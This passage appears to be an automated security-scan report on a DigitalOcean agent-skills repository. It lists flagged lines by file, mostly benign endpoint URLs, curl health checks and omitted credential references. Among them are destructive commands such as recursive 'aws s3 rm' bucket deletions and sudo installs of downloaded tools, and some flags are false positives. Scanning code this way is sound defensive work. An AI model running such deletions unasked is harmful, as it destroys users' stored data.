    - [MySQL on DigitalOcean](https://docs.digitalocean.com/products/databases/mysql/)
  • Network accessline 173
    - [doctl databases reference](https://docs.digitalocean.com/reference/doctl/reference/databases/)

skills/managed-db-services/reference/opensearch.md

  • Network accessline 42
    - key: OPENSEARCH_URL         scope: RUN_TIME         value: https://${search.USERNAME}:${search.PASSWORD}@${search.HOSTNAME}:${search.PORT}
  • Network accessline 44
    value: https://${search.USERNAME}:${search.PASSWORD}@${search.HOSTNAME}:${search.PORT}
  • Network accessline 71
    # List current ACLs curl -X GET "https://api.digitalocean.com/v2/databases/$CLUSTER_ID/opensearch/acl" \
  • Network accessline 72
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Network accessline 75
    # Update ACLs (example: restrict user to specific index pattern) curl -X PUT "https://api.digitalocean.com/v2/databases/$CLUSTER_ID/opensearch/acl" \
  • Network accessline 76
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 96
    # Wrong http://host:25060
  • Network accessline 97
    http://host:25060
  • Network accessline 99
    # Correct https://user:pass@host:25060
  • Network accessline 100
    https://user:pass@host:25060
  • Network accessline 123
    - [OpenSearch on DigitalOcean](https://docs.digitalocean.com/products/databases/opensearch/)
  • Network accessline 124
    - [doctl databases reference](https://docs.digitalocean.com/reference/doctl/reference/databases/)

skills/managed-db-services/reference/valkey.md

  • Network accessline 123
    - [Redis/Valkey on DigitalOcean](https://docs.digitalocean.com/products/databases/redis/)
  • Network accessline 124
    - [doctl databases reference](https://docs.digitalocean.com/reference/doctl/reference/databases/)

skills/migration/README.md

  • Network accessline 8
    "Migrate my app from Heroku to App Platform: https://github.com/myorg/myapp"

skills/migration/SKILL.md

  • Network accessline 97
    # User provides repo URL "Migrate this app to App Platform: https://github.com/myorg/myapp"
  • Network accessline 98
    "Migrate this app to App Platform: https://github.com/myorg/myapp"
  • Network accessline 244
    - [App Spec Reference](https://docs.digitalocean.com/products/app-platform/reference/app-spec/)
  • Network accessline 245
    - [Heroku Migration Guide](https://docs.digitalocean.com/products/app-platform/how-to/migrate-from-heroku/)
  • Network accessline 246
    - [Deploy to DO Button](https://docs.digitalocean.com/products/app-platform/how-to/add-deploy-do-button/)

skills/migration/reference/app-spec-generation.md

  • Network accessline 18
    - name: web       git:         repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 19
    git:         repo_clone_url: https://github.com/myorg/myapp.git         branch: migrate/test
  • Network accessline 20
    repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 42
    - name: celery       git:         repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 43
    git:         repo_clone_url: https://github.com/myorg/myapp.git         branch: migrate/test
  • Network accessline 44
    repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 59
    - name: migrate       git:         repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 60
    git:         repo_clone_url: https://github.com/myorg/myapp.git         branch: migrate/test
  • Network accessline 61
    repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 95
    - name: web       git:         repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 96
    git:         repo_clone_url: https://github.com/myorg/myapp.git         branch: migrate/prod
  • Network accessline 97
    repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 125
    - name: celery       git:         repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 126
    git:         repo_clone_url: https://github.com/myorg/myapp.git         branch: migrate/prod
  • Network accessline 127
    repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 142
    - name: migrate       git:         repo_clone_url: https://github.com/myorg/myapp.git
  • Network accessline 143
    git:         repo_clone_url: https://github.com/myorg/myapp.git         branch: migrate/prod
  • Network accessline 144
    repo_clone_url: https://github.com/myorg/myapp.git

skills/migration/reference/code-refactoring.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Network accessline 68
    import boto3 s3 = boto3.client('s3',     endpoint_url=os.environ['SPACES_ENDPOINT'],  # https://nyc3.digitaloceanspaces.com
  • Network accessline 69
    s3 = boto3.client('s3',     endpoint_url=os.environ['SPACES_ENDPOINT'],  # https://nyc3.digitaloceanspaces.com     region_name=os.environ['SPACES_REGION'],      # nyc3
  • Network accessline 70
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 205
    # Sync from old bucket to Spaces aws s3 sync s3://old-bucket s3://new-bucket \   --endpoint-url https://nyc3.digitaloceanspaces.com
  • Network accessline 206
    aws s3 sync s3://old-bucket s3://new-bucket    --endpoint-url https://nyc3.digitaloceanspaces.com
  • Network accessline 207
    --endpoint-url https://nyc3.digitaloceanspaces.com

skills/migration/reference/heroku/heroku-addons.md

  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 197
    [Credential-related source omitted]
  • Access to secretsline 198
    [Credential-related source omitted]
  • Network accessline 201
    # After (DO Spaces) s3 = boto3.client('s3',     endpoint_url=os.environ['SPACES_ENDPOINT'],       # e.g., https://nyc3.digitaloceanspaces.com
  • Network accessline 202
    s3 = boto3.client('s3',     endpoint_url=os.environ['SPACES_ENDPOINT'],       # e.g., https://nyc3.digitaloceanspaces.com     aws_access_key_id=os.environ['SPACES_KEY'],
  • Network accessline 203
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Access to secretsline 204
    [Credential-related source omitted]
  • Access to secretsline 205
    [Credential-related source omitted]

skills/migration/reference/heroku/heroku-mapping.md

  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 166
    [Credential-related source omitted]
  • Network accessline 219
    # Heroku (Private Spaces) https://myworker.herokuapp.com  (internal routing)
  • Network accessline 220
    https://myworker.herokuapp.com  (internal routing)
  • Network accessline 222
    # App Platform http://worker:8080  (internal service name, private port)
  • Network accessline 223
    http://worker:8080  (internal service name, private port)

skills/migration/reference/heroku/heroku-workflows.md

  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 299
    [Credential-related source omitted]
  • Access to secretsline 311
    [Credential-related source omitted]

skills/migration/reference/workflow-examples.md

  • Network accessline 9
    **User says**: "Migrate my Heroku app https://github.com/myorg/myapp to App Platform"
  • Network accessline 16
    git clone https://github.com/myorg/myapp /tmp/migration-work

skills/migration/scripts/analyze_architecture.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 516
    [Credential-related source omitted]

skills/migration/scripts/detect_platform.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/migration/scripts/generate_app_spec.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 276
    [Credential-related source omitted]

skills/migration/scripts/generate_checklist.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 230
    [Credential-related source omitted]
  • Access to secretsline 234
    [Credential-related source omitted]

skills/migration/templates/env-mapping.md

  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 38
    | Compose Pattern | App Platform Pattern | |-----------------|---------------------| | `http://api:3000` | `http://api:3000` (internal) OR `${APP_URL}` |
  • Network accessline 39
    |-----------------|---------------------| | `http://api:3000` | `http://api:3000` (internal) OR `${APP_URL}` | | `postgres://db:5432` | `${db.DATABASE_URL}` |
  • Network accessline 40
    | `http://api:3000` | `http://api:3000` (internal) OR `${APP_URL}` |
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Network accessline 91
    envs:   - key: SPACES_ENDPOINT     value: https://nyc3.digitaloceanspaces.com
  • Network accessline 92
    - key: SPACES_ENDPOINT     value: https://nyc3.digitaloceanspaces.com   - key: SPACES_REGION
  • Network accessline 93
    value: https://nyc3.digitaloceanspaces.com
  • Access to secretsline 176
    [Credential-related source omitted]

skills/migration/templates/service-mapping.md

  • Network accessline 145
    s3 = boto3.client('s3',     endpoint_url=os.environ['SPACES_ENDPOINT'],  # https://nyc3.digitaloceanspaces.com
  • Network accessline 146
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]
  • Access to secretsline 153
    [Credential-related source omitted]
  • Network accessline 259
    | Pattern | App Platform | |---------|-------------| | `http://api:3000` (Compose) | `http://api.${APP_DOMAIN}:80` (internal) |
  • Network accessline 260
    |---------|-------------| | `http://api:3000` (Compose) | `http://api.${APP_DOMAIN}:80` (internal) | | Service Discovery (ECS) | Use service names directly |
  • Network accessline 261
    | `http://api:3000` (Compose) | `http://api.${APP_DOMAIN}:80` (internal) |

skills/networking/SKILL.md

  • Network accessline 116
    cors:         allow_origins:           - exact: https://app.example.com
  • Network accessline 116
    cors:         allow_origins:           - exact: https://app.example.com
  • Network accessline 117
    allow_origins:           - exact: https://app.example.com         allow_methods: [GET, POST, PUT, DELETE, OPTIONS]
  • Network accessline 117
    allow_origins:           - exact: https://app.example.com         allow_methods: [GET, POST, PUT, DELETE, OPTIONS]
  • Network accessline 118
    - exact: https://app.example.com
  • Network accessline 118
    - exact: https://app.example.com

skills/networking/reference/complete-patterns.md

  • Network accessline 14
    - name: web     git:       repo_clone_url: https://github.com/org/app.git
  • Network accessline 15
    git:       repo_clone_url: https://github.com/org/app.git       branch: main
  • Network accessline 16
    repo_clone_url: https://github.com/org/app.git
  • Network accessline 53
    cors:         allow_origins:           - exact: https://example.com
  • Network accessline 54
    allow_origins:           - exact: https://example.com         allow_methods: [GET, POST, PUT, DELETE, OPTIONS]
  • Network accessline 55
    - exact: https://example.com
  • Network accessline 89
    cors:         allow_origins:           - exact: https://app.example.com
  • Network accessline 90
    allow_origins:           - exact: https://app.example.com           - exact: https://admin.example.com
  • Network accessline 91
    - exact: https://app.example.com
  • Network accessline 92
    - exact: https://admin.example.com
  • Network accessline 213
    cors:         allow_origins:           - exact: https://app.example.com
  • Network accessline 214
    allow_origins:           - exact: https://app.example.com           - regex: ^https://.*\.example\.com$
  • Network accessline 215
    - exact: https://app.example.com
  • Network accessline 216
    - regex: ^https://.*\.example\.com$

skills/networking/reference/cors-configuration.md

  • Network accessline 12
    cors:         allow_origins:           - exact: https://example.com
  • Network accessline 13
    allow_origins:           - exact: https://example.com         allow_methods:
  • Network accessline 14
    - exact: https://example.com
  • Network accessline 38
    allow_origins:   - exact: https://example.com
  • Network accessline 39
    - exact: https://example.com
  • Network accessline 40
    - exact: https://app.example.com
  • Network accessline 45
    allow_origins:   - regex: ^https://.*\.example\.com$
  • Network accessline 46
    - regex: ^https://.*\.example\.com$
  • Network accessline 51
    allow_origins:   - exact: https://example.com
  • Network accessline 52
    - exact: https://example.com
  • Network accessline 53
    - regex: ^https://[a-z0-9-]+\.example\.com$
  • Network accessline 59
    cors:   allow_origins:     - exact: https://app.example.com
  • Network accessline 60
    allow_origins:     - exact: https://app.example.com     - exact: https://admin.example.com
  • Network accessline 61
    - exact: https://app.example.com
  • Network accessline 62
    - exact: https://admin.example.com
  • Network accessline 83
    cors:   allow_origins:     - exact: https://app.example.com  # Must be exact
  • Network accessline 84
    allow_origins:     - exact: https://app.example.com  # Must be exact   allow_credentials: true
  • Network accessline 85
    - exact: https://app.example.com  # Must be exact

skills/networking/reference/static-ips-egress.md

  • Network accessline 97
    **Internal DNS:** Services reachable by name: `http://service-name:port`
  • Network accessline 98
    Services reachable by name: `http://service-name:port`

skills/planner/SKILL.md

  • Access to secretsline 47
    [Credential-related source omitted]

skills/planner/reference/build-local-first.md

  • Network accessline 57
    1. **Define health endpoint in code**: Ensure `/health` (or your chosen path) returns HTTP 200 2. **Test locally**: `curl http://localhost:PORT/health` must return 200
  • Network accessline 58
    2. **Test locally**: `curl http://localhost:PORT/health` must return 200

skills/planner/templates/local/03-local-testing.md.template

  • Network accessline 47
    - [ ] Start each service container from 3.5 output - [ ] Test health endpoint: `curl -f http://localhost:PORT/health`
  • Network accessline 48
    - [ ] Test health endpoint: `curl -f http://localhost:PORT/health`

skills/planner/templates/tier-1-simple/04-cloud-deploy.md.template

  • Network accessline 60
    - [ ] App URL: `https://{{APP_NAME}}-_____.ondigitalocean.app`

skills/planner/templates/tier-1-simple/05-cloud-validate.md.template

  • Network accessline 29
    ```bash curl -s -o /dev/null -w "%{http_code}" $APP_URL
  • Network accessline 30
    curl -s -o /dev/null -w "%{http_code}" $APP_URL

skills/planner/templates/tier-2-database/06-cloud-deploy.md.template

  • Network accessline 66
    ```bash APP_URL=$(doctl apps get $APP_ID --format DefaultIngress --no-header) curl -s $APP_URL/healthz
  • Network accessline 67
    APP_URL=$(doctl apps get $APP_ID --format DefaultIngress --no-header) curl -s $APP_URL/healthz curl -s $APP_URL/
  • Network accessline 68
    curl -s $APP_URL/healthz
  • Network accessline 69
    curl -s $APP_URL/
  • Network accessline 76
    - [ ] App URL: `https://{{APP_NAME}}-_____.ondigitalocean.app`

skills/planner/templates/tier-2-database/07-cloud-validate.md.template

  • Network accessline 29
    ```bash # Health check curl -s $APP_URL/healthz
  • Network accessline 31
    curl -s $APP_URL/healthz
  • Network accessline 33
    # API endpoint curl -s $APP_URL/api/{{ENDPOINT}} | jq
  • Network accessline 34
    curl -s $APP_URL/api/{{ENDPOINT}} | jq

skills/planner/templates/tier-3-complex/07-cloud-secrets-cicd.md.template

  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 100
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]

skills/planner/templates/tier-3-complex/08-cloud-deploy-production.md.template

  • Network accessline 81
    ```bash APP_URL=$(doctl apps get $APP_ID --format DefaultIngress --no-header) curl -s $APP_URL/healthz
  • Network accessline 82
    APP_URL=$(doctl apps get $APP_ID --format DefaultIngress --no-header) curl -s $APP_URL/healthz ```
  • Network accessline 83
    curl -s $APP_URL/healthz
  • Network accessline 90
    - [ ] App URL: `https://{{APP_NAME}}-_____.ondigitalocean.app`

skills/planner/templates/tier-3-complex/09-cloud-end-to-end.md.template

  • Network accessline 21
    App URL: `https://{{APP_NAME}}-_____.ondigitalocean.app`
  • Network accessline 41
    ```bash # Test primary endpoint curl -X POST $APP_URL/{{API_ENDPOINT}} \
  • Network accessline 42
    # Test primary endpoint curl -X POST $APP_URL/{{API_ENDPOINT}} \   -H "Content-Type: application/json" \
  • Network accessline 43
    curl -X POST $APP_URL/{{API_ENDPOINT}} \
  • Network accessline 112
    # Send multiple requests for i in {1..10}; do   curl -X POST $APP_URL/{{API_ENDPOINT}} \
  • Network accessline 113
    for i in {1..10}; do   curl -X POST $APP_URL/{{API_ENDPOINT}} \     -H "Content-Type: application/json" \
  • Network accessline 114
    curl -X POST $APP_URL/{{API_ENDPOINT}} \

skills/postgres/reference/database-migrations.md

  • Access to secretsline 23
    [Credential-related source omitted]

skills/postgres/reference/orm-configurations.md

  • Access to secretsline 48
    [Credential-related source omitted]

skills/postgres/scripts/add_client.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/postgres/scripts/cleanup_client.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Instruction override signalline 178
    parser.add_argument("--confirm", action="store_true",                          help="Skip confirmation (DANGEROUS)")
  • Instruction override signalline 179
    help="Skip confirmation (DANGEROUS)")

skills/postgres/scripts/create_schema_user.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/postgres/scripts/generate_connection_string.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 68
    [Credential-related source omitted]

skills/postgres/scripts/get_admin_conn.sh

  • Executable scriptline 1
    #!/bin/bash

skills/postgres/scripts/list_schemas_users.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/postgres/scripts/secure_setup.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 68
    except (subprocess.CalledProcessError, FileNotFoundError):         print("\033[91mError: gh CLI is not installed\033[0m")         print("Install with: brew install gh (macOS) or see https://cli.github.com")
  • Network accessline 69
    print("\033[91mError: gh CLI is not installed\033[0m")         print("Install with: brew install gh (macOS) or see https://cli.github.com")         return False
  • Network accessline 70
    print("Install with: brew install gh (macOS) or see https://cli.github.com")
  • Instruction override signalline 151
    parser.add_argument("--secret-name", default="DATABASE_URL", help="Secret name")     parser.add_argument("--dry-run", action="store_true", help="Show plan without executing")     parser.add_argument("--skip-confirm", action="store_true", he
  • Instruction override signalline 153
    parser.add_argument("--skip-confirm", action="store_true", help="Skip confirmation")

skills/postgres/scripts/secure_setup.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 148
    if ! command -v gh &> /dev/null; then     echo -e "${RED}Error: gh CLI is not installed${NC}"     echo "Install with: brew install gh (macOS) or see https://cli.github.com"
  • Network accessline 149
    echo -e "${RED}Error: gh CLI is not installed${NC}"     echo "Install with: brew install gh (macOS) or see https://cli.github.com"     exit 1
  • Network accessline 150
    echo "Install with: brew install gh (macOS) or see https://cli.github.com"

skills/postgres/templates/migrations/alembic.template.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]

skills/postgres/templates/orm/drizzle.template.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 167
    [Credential-related source omitted]

skills/postgres/templates/orm/prisma.template.prisma

  • Access to secretsline 53
    [Credential-related source omitted]

skills/postgres/templates/orm/sqlalchemy.template.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]

skills/sandbox/reference/service-mode.md

  • Network accessline 93
    port_info = sandbox.expose_port(3000) print(f"Preview URL: {port_info.url}") # https://sandbox-xxx.ondigitalocean.app/proxy/3000
  • Network accessline 95
    # https://sandbox-xxx.ondigitalocean.app/proxy/3000
  • Dangerous shell operationline 182
    - Streaming adds slight latency vs. buffered exec()

skills/sandbox/reference/use-cases.md

  • Network accessline 240
    import requests def fetch_data(url):     return requests.get(url).json()
  • Network accessline 241
    def fetch_data(url):     return requests.get(url).json() """)
  • Network accessline 242
    return requests.get(url).json()
  • Network accessline 245
    sandbox.filesystem.write_file("/app/test_client.py", """ from client import fetch_data result = fetch_data('https://api.github.com')
  • Network accessline 246
    from client import fetch_data result = fetch_data('https://api.github.com') assert 'current_user_url' in result
  • Network accessline 247
    result = fetch_data('https://api.github.com')

skills/spaces/README.md

  • Network accessline 19
    value: myapp-uploads   - key: SPACES_ENDPOINT     value: https://nyc3.digitaloceanspaces.com
  • Network accessline 20
    - key: SPACES_ENDPOINT     value: https://nyc3.digitaloceanspaces.com   - key: SPACES_ACCESS_KEY
  • Network accessline 21
    value: https://nyc3.digitaloceanspaces.com
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]

skills/spaces/SKILL.md

  • Network accessline 65
    # Choose region matching your App Platform app (see shared/regions.yaml) export DO_SPACES_REGION="syd1" export DO_SPACES_ENDPOINT="https://${DO_SPACES_REGION}.digitaloceanspaces.com"
  • Network accessline 66
    export DO_SPACES_REGION="syd1" export DO_SPACES_ENDPOINT="https://${DO_SPACES_REGION}.digitaloceanspaces.com" export APP_NAME="myapp"
  • Network accessline 67
    export DO_SPACES_ENDPOINT="https://${DO_SPACES_REGION}.digitaloceanspaces.com"
  • Access to secretsline 78
    [Credential-related source omitted]
  • Network accessline 98
    value: ${SPACES_REGION}           # Your bucket's region       - key: SPACES_ENDPOINT         value: ${SPACES_ENDPOINT}         # e.g., https://syd1.digitaloceanspaces.com
  • Network accessline 99
    - key: SPACES_ENDPOINT         value: ${SPACES_ENDPOINT}         # e.g., https://syd1.digitaloceanspaces.com       - key: SPACES_ACCESS_KEY
  • Network accessline 100
    value: ${SPACES_ENDPOINT}         # e.g., https://syd1.digitaloceanspaces.com
  • Access to secretsline 104
    [Credential-related source omitted]
  • Access to secretsline 108
    [Credential-related source omitted]
  • Network accessline 119
    | App Platform | Spaces | Endpoint | |--------------|--------|----------| | `nyc` | `nyc3` | `https://nyc3.digitaloceanspaces.com` |
  • Network accessline 120
    |--------------|--------|----------| | `nyc` | `nyc3` | `https://nyc3.digitaloceanspaces.com` | | `sfo` | `sfo3` | `https://sfo3.digitaloceanspaces.com` |
  • Network accessline 121
    | `nyc` | `nyc3` | `https://nyc3.digitaloceanspaces.com` |
  • Network accessline 122
    | `sfo` | `sfo3` | `https://sfo3.digitaloceanspaces.com` |
  • Network accessline 123
    | `ams` | `ams3` | `https://ams3.digitaloceanspaces.com` |
  • Network accessline 124
    | `lon` | `lon1` | `https://lon1.digitaloceanspaces.com` |
  • Network accessline 125
    | `fra` | `fra1` | `https://fra1.digitaloceanspaces.com` |
  • Network accessline 126
    | `tor` | `tor1` | `https://tor1.digitaloceanspaces.com` |
  • Network accessline 127
    | `sgp` | `sgp1` | `https://sgp1.digitaloceanspaces.com` |
  • Network accessline 128
    | `blr` | `blr1` | `https://blr1.digitaloceanspaces.com` |
  • Network accessline 129
    | `syd` | `syd1` | `https://syd1.digitaloceanspaces.com` |
  • Network accessline 130
    | `atl` | `atl1` | `https://atl1.digitaloceanspaces.com` |
  • Network accessline 147
    EP="--endpoint-url https://syd1.digitaloceanspaces.com"
  • Network accessline 205
    | Access Denied (403) | Verify keys, check endpoint matches bucket region | | CORS error | Configure via `aws s3api put-bucket-cors` | | SignatureDoesNotMatch | Use `https://` prefix, no trailing slash |
  • Network accessline 207
    | SignatureDoesNotMatch | Use `https://` prefix, no trailing slash |

skills/spaces/reference/access-logging.md

  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 34
    # Endpoint export EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Network accessline 35
    export EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Network accessline 201
    myapp-uploads myapp-uploads [15/Jan/2024:14:30:22 +0000] 192.168.1.100 - ABC123 REST.GET.OBJECT images/photo.jpg "GET /images/photo.jpg HTTP/1.1" 200 - 1234567 1234567 50 - "https://myapp.com/" "Mozilla/5.0" - def456 ...
  • Network accessline 264
    LOG_PREFIX="access-logs/myapp/" LOCAL_DIR="./spaces-logs" EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Network accessline 266
    EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Dangerous shell operationline 294
    aws $EP s3 ls s3://myapp-logs/access-logs/myapp/    | awk -v cutoff="$CUTOFF" '$1 < cutoff {print $4}'    | xargs -I {} aws $EP s3 rm "s3://myapp-logs/access-logs/myapp/{}"
  • Dangerous shell operationline 296
    | xargs -I {} aws $EP s3 rm "s3://myapp-logs/access-logs/myapp/{}"

skills/spaces/reference/aws-cli-operations.md

  • Network accessline 12
    # Linux curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
  • Network accessline 13
    curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
  • Dangerous shell operationline 14
    unzip awscliv2.zip && sudo ./aws/install
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 47
    # Set as variable for convenience export EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Network accessline 48
    export EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Network accessline 50
    # Or create an alias alias aws-spaces='aws --endpoint-url https://nyc3.digitaloceanspaces.com'
  • Network accessline 51
    alias aws-spaces='aws --endpoint-url https://nyc3.digitaloceanspaces.com'
  • Network accessline 56
    | Region | Endpoint | |--------|----------| | NYC3 | `https://nyc3.digitaloceanspaces.com` |
  • Network accessline 57
    |--------|----------| | NYC3 | `https://nyc3.digitaloceanspaces.com` | | SFO3 | `https://sfo3.digitaloceanspaces.com` |
  • Network accessline 58
    | NYC3 | `https://nyc3.digitaloceanspaces.com` |
  • Network accessline 59
    | SFO3 | `https://sfo3.digitaloceanspaces.com` |
  • Network accessline 60
    | AMS3 | `https://ams3.digitaloceanspaces.com` |
  • Network accessline 61
    | SGP1 | `https://sgp1.digitaloceanspaces.com` |
  • Network accessline 62
    | FRA1 | `https://fra1.digitaloceanspaces.com` |
  • Network accessline 63
    | SYD1 | `https://syd1.digitaloceanspaces.com` |
  • Dangerous shell operationline 90
    aws $EP s3 rm s3://myapp-uploads --recursive
  • Dangerous shell operationline 154
    aws $EP s3 rm s3://myapp-uploads/path/file.txt
  • Dangerous shell operationline 157
    aws $EP s3 rm s3://myapp-uploads/temp/ --recursive
  • Dangerous shell operationline 160
    aws $EP s3 rm s3://myapp-uploads/temp/ --recursive --dryrun
  • Network accessline 218
    {   "CORSRules": [{     "AllowedOrigins": ["https://myapp.com", "https://*.ondigitalocean.app"],
  • Network accessline 219
    "CORSRules": [{     "AllowedOrigins": ["https://myapp.com", "https://*.ondigitalocean.app"],     "AllowedMethods": ["GET", "PUT", "POST", "DELETE"],
  • Network accessline 220
    "AllowedOrigins": ["https://myapp.com", "https://*.ondigitalocean.app"],

skills/spaces/reference/key-management.md

  • Dangerous shell operationline 25
    sudo snap install doctl
  • Access to secretsline 123
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 209
    [Credential-related source omitted]
  • Access to secretsline 210
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]
  • Access to secretsline 228
    [Credential-related source omitted]
  • Access to secretsline 236
    [Credential-related source omitted]
  • Network accessline 244
    aws --profile spaces-myapp --endpoint-url https://nyc3.digitaloceanspaces.com s3 ls
  • Access to secretsline 321
    [Credential-related source omitted]
  • Access to secretsline 322
    [Credential-related source omitted]

skills/spaces/reference/sdk-configuration.md

  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 95
    | Variable | Example | |----------|---------| | `SPACES_ENDPOINT` | `https://nyc3.digitaloceanspaces.com` |
  • Network accessline 96
    |----------|---------| | `SPACES_ENDPOINT` | `https://nyc3.digitaloceanspaces.com` | | `SPACES_BUCKET` | `myapp-uploads` |
  • Network accessline 97
    | `SPACES_ENDPOINT` | `https://nyc3.digitaloceanspaces.com` |

skills/spaces/reference/troubleshooting.md

  • Network accessline 9
    export EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Access to secretsline 57
    [Credential-related source omitted]
  • Network accessline 62
    # If bucket is in nyc3, endpoint must be: export EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Network accessline 63
    export EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Network accessline 99
    Access to XMLHttpRequest at 'https://bucket.nyc3.digitaloceanspaces.com/...'
  • Network accessline 100
    from origin 'https://myapp.com' has been blocked by CORS policy
  • Network accessline 118
    {       "AllowedOrigins": [         "https://myapp.com",
  • Network accessline 119
    "AllowedOrigins": [         "https://myapp.com",         "https://*.ondigitalocean.app"
  • Network accessline 120
    "https://myapp.com",
  • Network accessline 121
    "https://*.ondigitalocean.app"
  • Network accessline 140
    3. Include `https://*.ondigitalocean.app` for App Platform preview URLs
  • Network accessline 162
    1. Ensure endpoint includes `https://`:
  • Network accessline 164
    # Correct export EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Network accessline 165
    export EP="--endpoint-url https://nyc3.digitaloceanspaces.com"
  • Network accessline 173
    # Correct --endpoint-url https://nyc3.digitaloceanspaces.com
  • Network accessline 174
    --endpoint-url https://nyc3.digitaloceanspaces.com
  • Network accessline 176
    # Wrong - trailing slash --endpoint-url https://nyc3.digitaloceanspaces.com/
  • Network accessline 177
    --endpoint-url https://nyc3.digitaloceanspaces.com/
  • Network accessline 182
    # Compare with NTP server date curl -s http://worldtimeapi.org/api/ip | jq .datetime
  • Network accessline 184
    curl -s http://worldtimeapi.org/api/ip | jq .datetime
  • Dangerous shell operationline 188
    sudo ntpdate pool.ntp.org
  • Dangerous shell operationline 190
    sudo sntp -sS pool.ntp.org
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 301
    [Credential-related source omitted]
  • Network accessline 324
    # Try different endpoints aws --endpoint-url https://nyc3.digitaloceanspaces.com s3 ls
  • Network accessline 325
    aws --endpoint-url https://nyc3.digitaloceanspaces.com s3 ls
  • Network accessline 326
    aws --endpoint-url https://sfo3.digitaloceanspaces.com s3 ls
  • Network accessline 327
    aws --endpoint-url https://ams3.digitaloceanspaces.com s3 ls
  • Network accessline 351
